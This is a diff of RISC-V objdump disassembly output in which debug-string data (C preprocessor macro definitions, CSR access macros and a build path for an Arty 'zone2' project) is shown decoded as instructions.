-    8b9a:	7361                	lui	t1,0xffff8
-    8b9c:	206d                	jal	8c46 <__stack_size+0x8446>
-    8b9e:	2228                	fld	fa0,64(a2)
-    8ba0:	3061                	jal	8428 <__stack_size+0x7c28>
-    8ba2:	2922                	fld	fs2,8(sp)
-    8ba4:	7361203b          	0x7361203b
-    8ba8:	206d                	jal	8c52 <__stack_size+0x8452>
-    8baa:	6f76                	flw	ft10,92(sp)
-    8bac:	616c                	flw	fa1,68(a0)
-    8bae:	6974                	flw	fa3,84(a0)
-    8bb0:	656c                	flw	fa1,76(a0)
-    8bb2:	2820                	fld	fs0,80(s0)
-    8bb4:	2220                	fld	fs0,64(a2)
-    8bb6:	766d                	lui	a2,0xffffb
-    8bb8:	6120                	flw	fs0,64(a0)
-    8bba:	2c31                	jal	8dd6 <__stack_size+0x85d6>
-    8bbc:	2520                	fld	fs0,72(a0)
-    8bbe:	3b32                	fld	fs6,296(sp)
-    8bc0:	2022                	fld	ft0,8(sp)
-    8bc2:	6c22                	flw	fs8,8(sp)
-    8bc4:	32612077          	0x32612077
-    8bc8:	202c                	fld	fa1,64(s0)
-    8bca:	2a30                	fld	fa2,80(a2)
-    8bcc:	2b34                	fld	fa3,80(a4)
-    8bce:	3125                	jal	87f6 <__stack_size+0x7ff6>
-    8bd0:	2220223b          	0x2220223b
-    8bd4:	776c                	flw	fa1,108(a4)
-    8bd6:	6120                	flw	fs0,64(a0)
-    8bd8:	31202c33          	0x31202c33
-    8bdc:	342a                	fld	fs0,168(sp)
-    8bde:	3b31252b          	0x3b31252b
-    8be2:	2022                	fld	ft0,8(sp)
-    8be4:	6c22                	flw	fs8,8(sp)
-    8be6:	34612077          	0x34612077
-    8bea:	202c                	fld	fa1,64(s0)
-    8bec:	2a32                	fld	fs4,264(sp)
-    8bee:	2b34                	fld	fa3,80(a4)
-    8bf0:	3125                	jal	8818 <__stack_size+0x8018>
-    8bf2:	2220223b          	0x2220223b
-    8bf6:	776c                	flw	fa1,108(a4)
-    8bf8:	6120                	flw	fs0,64(a0)
-    8bfa:	2c35                	jal	8e36 <__stack_size+0x8636>
-    8bfc:	3320                	fld	fs0,96(a4)
-    8bfe:	342a                	fld	fs0,168(sp)
-    8c00:	3b31252b          	0x3b31252b
-    8c04:	2022                	fld	ft0,8(sp)
-    8c06:	6c22                	flw	fs8,8(sp)
-    8c08:	2069                	jal	8c92 <__stack_size+0x8492>
-    8c0a:	3061                	jal	8492 <__stack_size+0x7c92>
-    8c0c:	202c                	fld	fa1,64(s0)
-    8c0e:	3b32                	fld	fs6,296(sp)
-    8c10:	2022                	fld	ft0,8(sp)
-    8c12:	7a6d                	lui	s4,0xffffb
-    8c14:	20656e6f          	jal	t3,5ee1a <__stack_size+0x5e61a>
-    8c18:	203a                	fld	ft0,392(sp)
-    8c1a:	3d22                	fld	fs10,40(sp)
-    8c1c:	2272                	fld	ft4,280(sp)
-    8c1e:	6128                	flw	fa0,64(a0)
-    8c20:	2930                	fld	fa2,80(a0)
-    8c22:	3a20                	fld	fs0,112(a2)
-    8c24:	2220                	fld	fs0,64(a2)
-    8c26:	226d                	jal	8dd0 <__stack_size+0x85d0>
-    8c28:	2a28                	fld	fa0,80(a2)
-    8c2a:	6328                	flw	fa0,64(a4)
-    8c2c:	74736e6f          	jal	t3,3fb72 <__stack_size+0x3f372>
-    8c30:	6320                	flw	fs0,64(a4)
-    8c32:	6168                	flw	fa0,68(a0)
-    8c34:	2072                	fld	ft0,280(sp)
-    8c36:	2a28                	fld	fa0,80(a2)
-    8c38:	5b29                	li	s6,-22
-    8c3a:	3631                	jal	8746 <__stack_size+0x7f46>
-    8c3c:	295d                	jal	90f2 <__stack_size+0x88f2>
-    8c3e:	6d20                	flw	fs0,88(a0)
-    8c40:	2c296773          	csrrsi	a4,0x2c2,18
-    8c44:	2220                	fld	fs0,64(a2)
-    8c46:	2272                	fld	ft4,280(sp)
-    8c48:	2828                	fld	fa0,80(s0)
-    8c4a:	6e69                	lui	t3,0x1a
-    8c4c:	2974                	fld	fa3,208(a0)
-    8c4e:	6f7a                	flw	ft10,156(sp)
-    8c50:	656e                	flw	fa0,216(sp)
-    8c52:	2029                	jal	8c5c <__stack_size+0x845c>
-    8c54:	203a                	fld	ft0,392(sp)
-    8c56:	6122                	flw	ft2,8(sp)
-    8c58:	2231                	jal	8d64 <__stack_size+0x8564>
-    8c5a:	222c                	fld	fa1,64(a2)
-    8c5c:	3261                	jal	85e4 <__stack_size+0x7de4>
-    8c5e:	2c22                	fld	fs8,8(sp)
-    8c60:	6122                	flw	ft2,8(sp)
-    8c62:	222c2233          	0x222c2233
-    8c66:	3461                	jal	86ee <__stack_size+0x7eee>
-    8c68:	2c22                	fld	fs8,8(sp)
-    8c6a:	6122                	flw	ft2,8(sp)
-    8c6c:	2235                	jal	8d98 <__stack_size+0x8598>
-    8c6e:	3b29                	jal	8988 <__stack_size+0x8188>
-    8c70:	6120                	flw	fs0,64(a0)
-    8c72:	3b30                	fld	fa2,112(a4)
-    8c74:	7d20                	flw	fs0,120(a0)
-    8c76:	0029                	c.nop	10
-    8c78:	535f 5f43 5f32      	0x5f325f43535f
-    8c7e:	4f46                	lw	t5,80(sp)
-    8c80:	5452                	lw	s0,52(sp)
-    8c82:	445f 5645 3120      	0x31205645445f
-    8c88:	3031                	jal	8494 <__stack_size+0x7c94>
-    8c8a:	4400                	lw	s0,8(s0)
-    8c8c:	414d                	li	sp,19
-    8c8e:	545f 5f52 4544      	0x45445f52545f
-    8c94:	4f5f5453          	0x4f5f5453
-    8c98:	4646                	lw	a2,80(sp)
-    8c9a:	3020                	fld	fs0,96(s0)
-    8c9c:	3478                	fld	fa4,232(s0)
-    8c9e:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
-    8ca2:	4955                	li	s2,21
-    8ca4:	544e                	lw	s0,240(sp)
-    8ca6:	4c5f 4145 5453      	0x545341454c5f
-    8cac:	545f3233          	0x545f3233
-    8cb0:	5059                	c.li	zero,-10
-    8cb2:	5f45                	li	t5,-15
-    8cb4:	205f 6f6c 676e      	0x676e6f6c205f
-    8cba:	7520                	flw	fs0,104(a0)
-    8cbc:	736e                	flw	ft6,248(sp)
-    8cbe:	6769                	lui	a4,0x1a
-    8cc0:	656e                	flw	fa0,216(sp)
-    8cc2:	2064                	fld	fs1,192(s0)
-    8cc4:	6e69                	lui	t3,0x1a
-    8cc6:	0074                	addi	a3,sp,12
-    8cc8:	5f5f 4244 5f4c      	0x5f4c42445f5f
-    8cce:	494d                	li	s2,19
-    8cd0:	5f4e                	lw	t5,240(sp)
-    8cd2:	5845                	li	a6,-15
-    8cd4:	5f50                	lw	a2,60(a4)
-    8cd6:	205f 2d28 3031      	0x30312d28205f
-    8cdc:	3132                	fld	ft2,296(sp)
-    8cde:	0029                	c.nop	10
-    8ce0:	5f5f 4c46 3654      	0x36544c465f5f
-    8ce6:	5834                	lw	a3,112(s0)
-    8ce8:	4d5f 4e49 455f      	0x455f4e494d5f
-    8cee:	5058                	lw	a4,36(s0)
-    8cf0:	5f5f 2820 312d      	0x312d28205f5f
-    8cf6:	3336                	fld	ft6,360(sp)
-    8cf8:	3138                	fld	fa4,96(a0)
-    8cfa:	0029                	c.nop	10
-    8cfc:	5f5f 554e 4c4c      	0x4c4c554e5f5f
-    8d02:	4241                	li	tp,16
-    8d04:	4c49                	li	s8,18
-    8d06:	5449                	li	s0,-14
-    8d08:	5f59                	li	t5,-10
-    8d0a:	5250                	lw	a2,36(a2)
-    8d0c:	4741                	li	a4,16
-    8d0e:	414d                	li	sp,19
-    8d10:	505f 5355 2048      	0x20485355505f
-    8d16:	5f00                	lw	s0,56(a4)
-    8d18:	4552                	lw	a0,20(sp)
-    8d1a:	4e45                	li	t3,17
-    8d1c:	5f54                	lw	a3,60(a4)
-    8d1e:	424d                	li	tp,19
-    8d20:	4c52                	lw	s8,20(sp)
-    8d22:	4e45                	li	t3,17
-    8d24:	535f 4154 4554      	0x45544154535f
-    8d2a:	7028                	flw	fa0,96(s0)
-    8d2c:	7274                	flw	fa3,100(a2)
-    8d2e:	2029                	jal	8d38 <__stack_size+0x8538>
-    8d30:	2828                	fld	fa0,80(s0)
-    8d32:	7470                	flw	fa2,108(s0)
-    8d34:	2972                	fld	fs2,280(sp)
-    8d36:	3e2d                	jal	8870 <__stack_size+0x8070>
-    8d38:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    8d3e:	6572                	flw	fa0,28(sp)
-    8d40:	6e65                	lui	t3,0x19
-    8d42:	2e74                	fld	fa3,216(a2)
-    8d44:	6d5f 7262 656c      	0x656c72626d5f
-    8d4a:	5f6e                	lw	t5,248(sp)
-    8d4c:	74617473          	csrrci	s0,0x746,2
-    8d50:	2965                	jal	9208 <__stack_size+0x8a08>
+    83f2:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
+    83f6:	45525f4b          	0x45525f4b
+    83fa:	4c41                	li	s8,16
+    83fc:	4954                	lw	a3,20(a0)
+    83fe:	454d                	li	a0,19
+    8400:	2820                	fld	fs0,80(s0)
+    8402:	6328                	flw	fa0,64(a4)
+    8404:	6f6c                	flw	fa1,92(a4)
+    8406:	64696b63          	bltu	s2,t1,8a5c <__stack_size+0x825c>
+    840a:	745f 2029 2931      	0x29312029745f
+    8410:	5f00                	lw	s0,56(a4)
+    8412:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    8418:	6361                	lui	t1,0x18
+    841a:	7571                	lui	a0,0xffffc
+    841c:	7269                	lui	tp,0xffffa
+    841e:	5f65                	li	t5,-7
+    8420:	6572                	flw	fa0,28(sp)
+    8422:	73727563          	bgeu	tp,s7,8b4c <__stack_size+0x834c>
+    8426:	7669                	lui	a2,0xffffa
+    8428:	2865                	jal	84e0 <__stack_size+0x7ce0>
+    842a:	6f6c                	flw	fa1,92(a4)
+    842c:	20296b63          	bltu	s2,sp,8642 <__stack_size+0x7e42>
+    8430:	2828                	fld	fa0,80(s0)
+    8432:	6f76                	flw	ft10,92(sp)
+    8434:	6469                	lui	s0,0x1a
+    8436:	2029                	jal	8440 <__stack_size+0x7c40>
+    8438:	2930                	fld	fa2,80(a0)
+    843a:	5f00                	lw	s0,56(a4)
+    843c:	755f 635f 6168      	0x6168635f755f
+    8442:	5f72                	lw	t5,60(sp)
+    8444:	6564                	flw	fs1,76(a0)
+    8446:	6966                	flw	fs2,88(sp)
+    8448:	656e                	flw	fa0,216(sp)
+    844a:	2064                	fld	fs1,192(s0)
+    844c:	5000                	lw	s0,32(s0)
+    844e:	435f4d57          	0x435f4d57
+    8452:	4746                	lw	a4,80(sp)
+    8454:	5a5f 5245 434f      	0x434f52455a5f
+    845a:	504d                	c.li	zero,-13
+    845c:	3020                	fld	fs0,96(s0)
+    845e:	3078                	fld	fa4,224(s0)
+    8460:	3030                	fld	fa2,96(s0)
+    8462:	3030                	fld	fa2,96(s0)
+    8464:	3032                	fld	ft0,296(sp)
+    8466:	0030                	addi	a2,sp,8
+    8468:	505f 534f 5849      	0x5849534f505f
+    846e:	535f 554f 4352      	0x4352554f535f
+    8474:	2045                	jal	8514 <__stack_size+0x7d14>
+    8476:	0031                	c.nop	12
+    8478:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    847c:	425f 5449 5f00      	0x5f005449425f
+    8482:	495f 544e 3631      	0x3631544e495f
+    8488:	435f 6328 2029      	0x20296328435f
+    848e:	4e490063          	beq	s2,tp,896e <__stack_size+0x816e>
+    8492:	3154                	fld	fa3,160(a0)
+    8494:	5f36                	lw	t5,108(sp)
+    8496:	494d                	li	s2,19
+    8498:	004e                	c.slli	zero,0x13
+    849a:	4f5f 4646 545f      	0x545f46464f5f
+    84a0:	445f 4345 414c      	0x414c4345445f
+    84a6:	4552                	lw	a0,20(sp)
+    84a8:	2044                	fld	fs1,128(s0)
+    84aa:	5700                	lw	s0,40(a4)
+    84ac:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    84b0:	4d5f 4e49 5f20      	0x5f204e494d5f
+    84b6:	575f 4843 5241      	0x52414843575f
+    84bc:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    84c2:	5f00                	lw	s0,56(a4)
+    84c4:	615f 7474 6972      	0x69727474615f
+    84ca:	7562                	flw	fa0,56(sp)
+    84cc:	6574                	flw	fa3,76(a0)
+    84ce:	665f 726f 616d      	0x616d726f665f
+    84d4:	5f74                	lw	a3,124(a4)
+    84d6:	66727473          	csrrci	s0,0x667,4
+    84da:	6f6d                	lui	t5,0x1b
+    84dc:	5f6e                	lw	t5,248(sp)
+    84de:	285f 2c61 2962      	0x29622c61285f
+    84e4:	0020                	addi	s0,sp,8
+    84e6:	5f5f 4c46 3154      	0x31544c465f5f
+    84ec:	3832                	fld	fa6,296(sp)
+    84ee:	485f 5341 495f      	0x495f5341485f
+    84f4:	464e                	lw	a2,208(sp)
+    84f6:	4e49                	li	t3,18
+    84f8:	5449                	li	s0,-14
+    84fa:	5f59                	li	t5,-10
+    84fc:	205f 0031 5f5f      	0x5f5f0031205f
+    8502:	455a4953          	0x455a4953
+    8506:	535f464f          	fnmadd.d	fa2,ft10,fs5,fa0,rmm
+    850a:	4f48                	lw	a0,28(a4)
+    850c:	5452                	lw	s0,52(sp)
+    850e:	5f5f 3220 4c00      	0x4c0032205f5f
+    8514:	4445                	li	s0,17
+    8516:	525f 4445 3120      	0x31204445525f
+    851c:	5500                	lw	s0,40(a0)
+    851e:	4e49                	li	t3,18
+    8520:	5054                	lw	a3,36(s0)
+    8522:	5254                	lw	a3,36(a2)
+    8524:	4d5f 5841 5f20      	0x5f2058414d5f
+    852a:	555f 4e49 5054      	0x50544e49555f
+    8530:	5254                	lw	a3,36(a2)
+    8532:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8538:	4900                	lw	s0,16(a0)
+    853a:	544e                	lw	s0,240(sp)
+    853c:	5f38                	lw	a4,120(a4)
+    853e:	414d                	li	sp,19
+    8540:	2058                	fld	fa4,128(s0)
+    8542:	5f5f 4e49 3854      	0x38544e495f5f
+    8548:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    854e:	5f00                	lw	s0,56(a4)
+    8550:	685f 7661 5f65      	0x5f657661685f
+    8556:	6f6c                	flw	fa1,92(a4)
+    8558:	676e                	flw	fa4,216(sp)
+    855a:	31203233          	0x31203233
+    855e:	5300                	lw	s0,32(a4)
+    8560:	495f 4353 5248      	0x52484353495f
+    8566:	6d28                	flw	fa0,88(a0)
+    8568:	2029                	jal	8572 <__stack_size+0x7d72>
+    856a:	2828                	fld	fa0,80(s0)
+    856c:	6d28                	flw	fa0,88(a0)
+    856e:	2629                	jal	8878 <__stack_size+0x8078>
+    8570:	495f 4d46 2954      	0x29544d46495f
+    8576:	3d20                	fld	fs0,120(a0)
+    8578:	203d                	jal	85a6 <__stack_size+0x7da6>
+    857a:	495f 4346 5248      	0x52484346495f
+    8580:	0029                	c.nop	10
+    8582:	4f49                	li	t5,18
+    8584:	5f56                	lw	t5,116(sp)
+    8586:	414d                	li	sp,19
+    8588:	2058                	fld	fa4,128(s0)
+    858a:	3031                	jal	7d96 <__stack_size+0x7596>
+    858c:	3432                	fld	fs0,296(sp)
+    858e:	7400                	flw	fs0,40(s0)
+    8590:	6172                	flw	ft2,28(sp)
+    8592:	5f70                	lw	a2,124(a4)
+    8594:	6168                	flw	fa0,68(a0)
+    8596:	646e                	flw	fs0,216(sp)
+    8598:	656c                	flw	fa1,76(a0)
+    859a:	0072                	c.slli	zero,0x1c
+    859c:	5f5f 4955 544e      	0x544e49555f5f
+    85a2:	5f38                	lw	a4,120(a4)
+    85a4:	414d                	li	sp,19
+    85a6:	5f58                	lw	a4,60(a4)
+    85a8:	205f 7830 6666      	0x66667830205f
+    85ae:	2f00                	fld	fs0,24(a4)
+    85b0:	6f68                	flw	fa0,92(a4)
+    85b2:	656d                	lui	a0,0x1b
+    85b4:	7369722f          	0x7369722f
+    85b8:	742f7663          	bgeu	t5,sp,8d04 <__stack_size+0x8504>
+    85bc:	736c6f6f          	jal	t5,cecf2 <__stack_size+0xce4f2>
+    85c0:	696e752f          	0x696e752f
+    85c4:	7270                	flw	fa2,100(a2)
+    85c6:	6b656a6f          	jal	s4,5ec7c <__stack_size+0x5e47c>
+    85ca:	2f74                	fld	fa3,216(a4)
+    85cc:	7241                	lui	tp,0xffff0
+    85ce:	7974                	flw	fa3,116(a0)
+    85d0:	6d49                	lui	s10,0x12
+    85d2:	6c70                	flw	fa2,92(s0)
+    85d4:	6d65                	lui	s10,0x19
+    85d6:	6e65                	lui	t3,0x19
+    85d8:	6174                	flw	fa3,68(a0)
+    85da:	6974                	flw	fa3,84(a0)
+    85dc:	7a2f6e6f          	jal	t3,fed7e <__stack_size+0xfe57e>
+    85e0:	32656e6f          	jal	t3,5e906 <__stack_size+0x5e106>
+    85e4:	5f00                	lw	s0,56(a4)
+    85e6:	535f 424d 2046      	0x2046424d535f
+    85ec:	7830                	flw	fa2,112(s0)
+    85ee:	3030                	fld	fa2,96(s0)
+    85f0:	3038                	fld	fa4,96(s0)
+    85f2:	5f00                	lw	s0,56(a4)
+    85f4:	4649                	li	a2,18
+    85f6:	544d                	li	s0,-13
+    85f8:	3020                	fld	fs0,96(s0)
+    85fa:	3731                	jal	8506 <__stack_size+0x7d06>
+    85fc:	3030                	fld	fa2,96(s0)
+    85fe:	3030                	fld	fa2,96(s0)
+    8600:	5f00                	lw	s0,56(a4)
+    8602:	465f 544c 3233      	0x3233544c465f
+    8608:	5f58                	lw	a4,60(a4)
+    860a:	4f4e                	lw	t5,208(sp)
+    860c:	4d52                	lw	s10,20(sp)
+    860e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8614:	3120                	fld	fs0,96(a0)
+    8616:	372e                	fld	fa4,232(sp)
+    8618:	3739                	jal	8526 <__stack_size+0x7d26>
+    861a:	3936                	fld	fs2,360(sp)
+    861c:	34333133          	0x34333133
+    8620:	3638                	fld	fa4,104(a2)
+    8622:	3332                	fld	ft6,296(sp)
+    8624:	3531                	jal	8430 <__stack_size+0x7c30>
+    8626:	31383037          	lui	zero,0x31383
+    862a:	3534                	fld	fa3,104(a0)
+    862c:	3732                	fld	fa4,296(sp)
+    862e:	3234                	fld	fa3,96(a2)
+    8630:	31333733          	0x31333733
+    8634:	33343037          	lui	zero,0x33343
+    8638:	3735                	jal	8564 <__stack_size+0x7d64>
+    863a:	2b65                	jal	8bf2 <__stack_size+0x83f2>
+    863c:	46383033          	0x46383033
+    8640:	00783233          	sltu	tp,a6,t2
+    8644:	535f 5f43 4853      	0x48535f43535f
+    864a:	4c45                	li	s8,17
+    864c:	204c                	fld	fa1,128(s0)
+    864e:	50003437          	lui	s0,0x50003
+    8652:	4854                	lw	a3,20(s0)
+    8654:	4552                	lw	a0,20(sp)
+    8656:	4441                	li	s0,16
+    8658:	435f 4552 5441      	0x54414552435f
+    865e:	5f45                	li	t5,-15
+    8660:	4f4a                	lw	t5,144(sp)
+    8662:	4e49                	li	t3,18
+    8664:	4241                	li	tp,16
+    8666:	454c                	lw	a1,12(a0)
+    8668:	3120                	fld	fs0,96(a0)
+    866a:	5000                	lw	s0,32(s0)
+    866c:	494c                	lw	a1,20(a0)
+    866e:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
+    8672:	5f49                	li	t5,-14
+    8674:	5346464f          	fnmadd.d	fa2,fa2,fs4,fa0,rmm
+    8678:	5445                	li	s0,-15
+    867a:	3020                	fld	fs0,96(s0)
+    867c:	4900                	lw	s0,16(a0)
+    867e:	544e                	lw	s0,240(sp)
+    8680:	5450                	lw	a2,44(s0)
+    8682:	5f52                	lw	t5,52(sp)
+    8684:	414d                	li	sp,19
+    8686:	2058                	fld	fa4,128(s0)
+    8688:	5f5f 4e49 5054      	0x50544e495f5f
+    868e:	5254                	lw	a3,36(a2)
+    8690:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8696:	4600                	lw	s0,8(a2)
+    8698:	414d                	li	sp,19
+    869a:	4b52                	lw	s6,20(sp)
+    869c:	5f20                	lw	s0,120(a4)
+    869e:	4d46                	lw	s10,80(sp)
+    86a0:	5241                	li	tp,-16
+    86a2:	4e46004b          	fnmsub.q	ft0,fa2,ft4,fs1,rne
+    86a6:	49424e4f          	fnmadd.s	ft8,ft4,fs4,fs1,rmm
+    86aa:	465f204f          	fnmadd.q	ft0,ft10,ft5,fs0,rdn
+    86ae:	4f4e                	lw	t5,208(sp)
+    86b0:	424e                	lw	tp,208(sp)
+    86b2:	4f4c                	lw	a1,28(a4)
+    86b4:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
+    86b8:	535f4353          	0x535f4353
+    86bc:	4e59                	li	t3,22
+    86be:	4f524843          	fmadd.q	fa6,ft4,fs5,fs1,rmm
+    86c2:	494e                	lw	s2,208(sp)
+    86c4:	455a                	lw	a0,148(sp)
+    86c6:	5f44                	lw	s1,60(a4)
+    86c8:	4f49                	li	t5,18
+    86ca:	3320                	fld	fs0,96(a4)
+    86cc:	0032                	c.slli	zero,0xc
+    86ce:	5f5f 4542 4947      	0x494745425f5f
+    86d4:	5f4e                	lw	t5,240(sp)
+    86d6:	4544                	lw	s1,12(a0)
+    86d8:	20534c43          	fmadd.s	fs8,ft6,ft5,ft4,rmm
+    86dc:	4300                	lw	s0,0(a4)
+    86de:	28435253          	0x28435253
+    86e2:	2c727363          	bgeu	tp,t2,89a8 <__stack_size+0x81a8>
+    86e6:	7372                	flw	ft6,60(sp)
+    86e8:	2029                	jal	86f2 <__stack_size+0x7ef2>
+    86ea:	7b28                	flw	fa0,112(a4)
+    86ec:	7520                	flw	fs0,104(a0)
+    86ee:	736e                	flw	ft6,248(sp)
+    86f0:	6769                	lui	a4,0x1a
+    86f2:	656e                	flw	fa0,216(sp)
+    86f4:	2064                	fld	fs1,192(s0)
+    86f6:	6f6c                	flw	fa1,92(a4)
+    86f8:	676e                	flw	fa4,216(sp)
+    86fa:	7220                	flw	fs0,96(a2)
+    86fc:	3b64                	fld	fs1,240(a4)
+    86fe:	6920                	flw	fs0,80(a0)
+    8700:	2066                	fld	ft0,88(sp)
+    8702:	5f28                	lw	a0,120(a4)
+    8704:	625f 6975 746c      	0x746c6975625f
+    870a:	6e69                	lui	t3,0x1a
+    870c:	635f 6e6f 7473      	0x74736e6f635f
+    8712:	6e61                	lui	t3,0x18
+    8714:	5f74                	lw	a3,124(a4)
+    8716:	2870                	fld	fa2,208(s0)
+    8718:	7372                	flw	ft6,60(sp)
+    871a:	2029                	jal	8724 <__stack_size+0x7f24>
+    871c:	2626                	fld	fa2,72(sp)
+    871e:	2820                	fld	fs0,80(s0)
+    8720:	6e75                	lui	t3,0x1d
+    8722:	6e676973          	csrrsi	s2,0x6e6,14
+    8726:	6465                	lui	s0,0x19
+    8728:	6c20                	flw	fs0,88(s0)
+    872a:	29676e6f          	jal	t3,7e9c0 <__stack_size+0x7e1c0>
+    872e:	7228                	flw	fa0,96(a2)
+    8730:	3c202973          	csrr	s2,0x3c2
+    8734:	3320                	fld	fs0,96(a4)
+    8736:	2932                	fld	fs2,264(sp)
+    8738:	6120                	flw	fs0,64(a0)
+    873a:	76206d73          	csrrsi	s10,0x762,0
+    873e:	74616c6f          	jal	s8,1ee84 <__stack_size+0x1e684>
+    8742:	6c69                	lui	s8,0x1a
+    8744:	2065                	jal	87ec <__stack_size+0x7fec>
+    8746:	2228                	fld	fa0,64(a2)
+    8748:	72727363          	bgeu	tp,t2,8e6e <__stack_size+0x866e>
+    874c:	25206963          	bltu	zero,s2,899e <__stack_size+0x819e>
+    8750:	2c30                	fld	fa2,88(s0)
+    8752:	2220                	fld	fs0,64(a2)
+    8754:	2320                	fld	fs0,64(a4)
+    8756:	20727363          	bgeu	tp,t2,895c <__stack_size+0x815c>
+    875a:	2c22                	fld	fs8,8(sp)
+    875c:	2520                	fld	fs0,72(a0)
+    875e:	2231                	jal	886a <__stack_size+0x806a>
+    8760:	3a20                	fld	fs0,112(a2)
+    8762:	2220                	fld	fs0,64(a2)
+    8764:	723d                	lui	tp,0xfffef
+    8766:	2822                	fld	fa6,8(sp)
+    8768:	6472                	flw	fs0,28(sp)
+    876a:	2029                	jal	8774 <__stack_size+0x7f74>
+    876c:	203a                	fld	ft0,392(sp)
+    876e:	4b22                	lw	s6,8(sp)
+    8770:	2822                	fld	fa6,8(sp)
+    8772:	7372                	flw	ft6,60(sp)
+    8774:	2929                	jal	8b8e <__stack_size+0x838e>
+    8776:	6c65203b          	0x6c65203b
+    877a:	61206573          	csrrsi	a0,0x612,0
+    877e:	76206d73          	csrrsi	s10,0x762,0
+    8782:	74616c6f          	jal	s8,1eec8 <__stack_size+0x1e6c8>
+    8786:	6c69                	lui	s8,0x1a
+    8788:	2065                	jal	8830 <__stack_size+0x8030>
+    878a:	2228                	fld	fa0,64(a2)
+    878c:	72727363          	bgeu	tp,t2,8eb2 <__stack_size+0x86b2>
+    8790:	30252063          	0x30252063
+    8794:	202c                	fld	fa1,64(s0)
+    8796:	2022                	fld	ft0,8(sp)
+    8798:	72736323          	0x72736323
+    879c:	2220                	fld	fs0,64(a2)
+    879e:	202c                	fld	fa1,64(s0)
+    87a0:	3125                	jal	83c8 <__stack_size+0x7bc8>
+    87a2:	2022                	fld	ft0,8(sp)
+    87a4:	203a                	fld	ft0,392(sp)
+    87a6:	3d22                	fld	fs10,40(sp)
+    87a8:	2272                	fld	ft4,280(sp)
+    87aa:	7228                	flw	fa0,96(a2)
+    87ac:	2964                	fld	fs1,208(a0)
+    87ae:	3a20                	fld	fs0,112(a2)
+    87b0:	2220                	fld	fs0,64(a2)
+    87b2:	2272                	fld	ft4,280(sp)
+    87b4:	7228                	flw	fa0,96(a2)
+    87b6:	3b292973          	csrrs	s2,pmpaddr2,s2
+    87ba:	7220                	flw	fs0,96(a2)
+    87bc:	3b64                	fld	fs1,240(a4)
+    87be:	7d20                	flw	fs0,120(a0)
+    87c0:	0029                	c.nop	10
+    87c2:	4155                	li	sp,21
+    87c4:	5452                	lw	s0,52(sp)
+    87c6:	425f 5341 2045      	0x20455341425f
+    87cc:	7830                	flw	fa2,112(s0)
+    87ce:	3031                	jal	7fda <__stack_size+0x77da>
+    87d0:	3130                	fld	fa2,96(a0)
+    87d2:	30303033          	0x30303033
+    87d6:	5f00                	lw	s0,56(a4)
+    87d8:	4552                	lw	a0,20(sp)
+    87da:	4e45                	li	t3,17
+    87dc:	5f54                	lw	a3,60(a4)
+    87de:	4c414d53          	0x4c414d53
+    87e2:	5f4c                	lw	a1,60(a4)
+    87e4:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    87e8:	4e495f4b          	fnmsub.q	ft10,fs2,ft4,fs1,unknown
+    87ec:	5449                	li	s0,-14
+    87ee:	7028                	flw	fa0,96(s0)
+    87f0:	7274                	flw	fa3,100(a2)
+    87f2:	2029                	jal	87fc <__stack_size+0x7ffc>
+    87f4:	5500                	lw	s0,40(a0)
+    87f6:	4c4c                	lw	a1,28(s0)
+    87f8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    87fc:	414d                	li	sp,19
+    87fe:	2058                	fld	fa4,128(s0)
+    8800:	4c28                	lw	a0,88(s0)
+    8802:	4f4c                	lw	a1,28(a4)
+    8804:	474e                	lw	a4,208(sp)
+    8806:	4d5f 5841 2a20      	0x2a2058414d5f
+    880c:	3220                	fld	fs0,96(a2)
+    880e:	4c55                	li	s8,21
+    8810:	204c                	fld	fa1,128(s0)
+    8812:	5531202b          	0x5531202b
+    8816:	4c4c                	lw	a1,28(s0)
+    8818:	0029                	c.nop	10
+    881a:	4955                	li	s2,21
+    881c:	544e                	lw	s0,240(sp)
+    881e:	465f 5341 3154      	0x31545341465f
+    8824:	5f36                	lw	t5,108(sp)
+    8826:	414d                	li	sp,19
+    8828:	0058                	addi	a4,sp,4
+    882a:	5f5f 4c46 3654      	0x36544c465f5f
+    8830:	5f34                	lw	a3,120(a4)
+    8832:	4544                	lw	s1,12(a0)
+    8834:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    8838:	5f4c                	lw	a1,60(a4)
+    883a:	4944                	lw	s1,20(a0)
+    883c:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    8840:	3731                	jal	874c <__stack_size+0x7f4c>
+    8842:	5f00                	lw	s0,56(a4)
+    8844:	555f 4e49 5054      	0x50544e49555f
+    884a:	5254                	lw	a3,36(a2)
+    884c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8852:	3020                	fld	fs0,96(s0)
+    8854:	6678                	flw	fa4,76(a2)
+    8856:	6666                	flw	fa2,88(sp)
+    8858:	6666                	flw	fa2,88(sp)
+    885a:	6666                	flw	fa2,88(sp)
+    885c:	5566                	lw	a0,120(sp)
+    885e:	6d00                	flw	fs0,24(a0)
+    8860:	6f7a                	flw	ft10,156(sp)
+    8862:	656e                	flw	fa0,216(sp)
+    8864:	2220                	fld	fs0,64(a2)
+    8866:	772e                	flw	fa4,232(sp)
+    8868:	2064726f          	jal	tp,4fa6e <__stack_size+0x4f26e>
+    886c:	7830                	flw	fa2,112(s0)
+    886e:	3030                	fld	fa2,96(s0)
+    8870:	30303033          	0x30303033
+    8874:	223b3337          	lui	t1,0x223b3
+    8878:	4600                	lw	s0,8(a2)
+    887a:	525f 4c44 4b43      	0x4b434c44525f
+    8880:	3120                	fld	fs0,96(a0)
+    8882:	5f00                	lw	s0,56(a4)
+    8884:	535f4353          	0x535f4353
+    8888:	4148                	lw	a0,4(a0)
+    888a:	4552                	lw	a0,20(sp)
+    888c:	5f44                	lw	s1,60(a4)
+    888e:	454d                	li	a0,19
+    8890:	4f4d                	li	t5,19
